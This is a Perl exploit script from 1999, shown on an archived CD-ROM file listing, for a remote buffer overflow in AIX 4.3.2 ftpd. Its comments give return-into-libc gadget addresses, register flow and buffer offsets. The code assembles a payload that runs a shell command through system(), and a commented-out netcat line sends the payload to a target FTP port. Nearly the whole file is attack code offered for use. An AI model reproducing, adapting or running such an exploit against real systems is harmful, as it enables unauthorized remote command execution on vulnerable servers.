home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / remote / aix-ftpd.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  156 lines

  1. #!/usr/bin/perl
  2. # *** Synnergy Networks
  3.  
  4. # * Description:
  5. #
  6. # Remote bufferoverflow exploit for ftpd from AIX 4.3.2 running on an
  7. # RS6000. (power)
  8. # This is an return into libc exploit specificly crafted for
  9. # one box and it is very unlikely to work on another box
  10.  
  11. # * Author:
  12. #
  13. # dvorak (dvorak@synnergy.net)
  14. # Synnergy Networks (c) 1999,  http://www.synnergy.net
  15.  
  16. # * Greets:
  17. #
  18. # Synnergy Networks, Hit2000 crew, Emphyrio, shevek
  19.  
  20. # * Comments:
  21. #
  22. # A full working exploit will be released later on.
  23. # The addresses point to positions in the program or libraries,
  24. # only the relevant instructions are shown also note that b r0
  25. # is in fact something like mfsbr r0, bsbr or what that is in
  26. # RS6000 assembly.
  27. #
  28. # The final call is to system which needs the following arguments:
  29. # r3 = address of command to execute
  30. # r2 = TOC (what is TOC anyway), I don't know if it does matter but
  31. #      we set it anyway (we can so why not do it)
  32. # r1 = SP but this is ok already,
  33. # the rest is free so it seems.
  34. #
  35. # Our route:
  36. # 0x10010150: sets r2 to a place in the buffer and jumps to 0x10015228
  37. # 0x10015228: loads r12 with a value from our buffera
  38. #             loads r0 with the next address to jump to (0x1001038c)
  39. #             and sets r2 to another place in our buffer
  40. # 0x1001038c: sets r3 to a place in the buffer (finally!)
  41. #             sets r0 to next address to jump to (0xd00406d4, system(...))
  42. #
  43. # The flow with registers is thus:
  44. # r2 = 0x14(r1)
  45. # r12 = 0x110(r2)
  46. # r0 = 0x0(r12)
  47. # r2 = 0x4(r12)
  48. # r3 = 0x40(r1)
  49. # r12 = 0x3c(r2)
  50. # 0x14(r1) = r12 this is  the plave where TOC is stored but it doesn't seem
  51. #            to matter
  52. # r0 = 0x0(12)
  53. # r2 = 0x04(r12)
  54. # and of we go...
  55. #
  56. # We set:
  57. # $buf =  the buffer on the stack $buf[0] is the first byte in the buffer
  58. # but we will count offsets from 4 (the first 4 bytes is just "CEL " is
  59. # doesn't matter, only the space does (it makes sure the rest of the buffer)
  60. # stays the way it is and isn't converted into lower case
  61. #
  62. # Offsets:
  63. # 0x000: 0x1001038c
  64. # 0x004: buf[0]
  65. # 0x008: this is the place where the address of the systemcall is taken from
  66. #        0xd00406d4 in our case# 0x00c: thi is the address where r2 is
  67. loaded
  68. #        from just before the call to
  69. #        system(..) we set it to the TOC in our program we don't know if it
  70. #        matters and if the TOC is constant between hosts
  71. # 0x03c: buf[08]
  72. # 0x110: buf[0]
  73. # 0x204: return address (0x10010150)
  74. # 0x210: buf[0]
  75. # 0x23c: buf[0x240]
  76. # 0x240: "/tmp/sh" or whatever command you want to execute
  77. # r1 points to buf[0x1fc]
  78. #
  79. # I assume the positions in the libraries/program are fixed and that TOC
  80. # either doesn't matter or is fixed to please enlighten me on these topics.
  81. #
  82. # 0x10010150:
  83. #     l   r2, 0x14(r1)
  84. #     b   0x10015228
  85. # 0x10015228:
  86. #     l   r12, 0x110(r2)
  87. #     st  r12, 0x14(r1)
  88. #     l   r0, 0x0(r12)
  89. #     l   r2, 0x4(r12)
  90. #     b   r0
  91. # 0x1001038c:
  92. #     l   r3, 0x40(r1)
  93. #     b   0x100136f8
  94. # 0x100136f8:
  95. #     l   r12, 0x3c(r2)
  96. #     st  r12, 0x14(r1)
  97. #     l   r0,  0x0(r12)
  98. #     l   r2,  0x04(r12)
  99.  
  100. # *** Synnergy Networks
  101.  
  102. $bufstart = 0x2ff22724;         # this is our first guess
  103. $nop = "\xde\xad\xca\xfe";
  104. $buf = "CEL ";
  105. $buf .= "\x10\x01\x03\x8c";     # 0 address of second piece of
  106.                                 # 'borrowed' code
  107. $buf .= pack ("N", $bufstart);  # 4
  108. $buf .= "\xd0\x04\x06\xd4";     # 8 system call..
  109. $buf .= "\xf0\x14\x63\x5c";     # c TOC
  110. $offset = 0x10;
  111. while ($offset < 0x3c) {
  112.     $offset += 4;
  113.     $buf .= $nop;
  114. }
  115. $buf .= pack ("N", $bufstart + 0x008);
  116. $offset += 4;
  117. while ($offset < 0x110) {
  118.     $offset += 4;
  119.     $buf .= $nop;
  120. }
  121. $buf .= pack ("N", $bufstart);
  122. $offset += 4;
  123. while ($offset < 0x204) {
  124.     $offset += 4;
  125.     $buf .= $nop;
  126. }
  127. $buf .= "\x10\x01\x01\x50";
  128. $offset += 4;
  129. while ($offset < 0x210) {
  130.     $offset += 4;
  131.     $buf .= $nop;
  132. }
  133. $buf .= pack ("N", $bufstart);
  134. $offset += 4;
  135. while ($offset < 0x23c) {
  136.     $offset += 4;
  137.     $buf .= $nop;
  138. }
  139. $buf .= pack ("N", $bufstart + 0x240);
  140. $offset += 4;
  141. while ($offset < 0x240) {
  142.     $offset += 4;
  143.     $buf .= $nop;
  144. }
  145. # this is the command that will be run through system
  146. $buf .= "/tmp/sh";
  147. $buf .= "\n";
  148.  
  149. # offcourse you should change this .
  150. # open F, "| nc -v -v -n 192.168.2.12 21";
  151. open F, "| od -tx1";
  152. printf F $buf;
  153. close F;
  154.  
  155. # EOF
  156.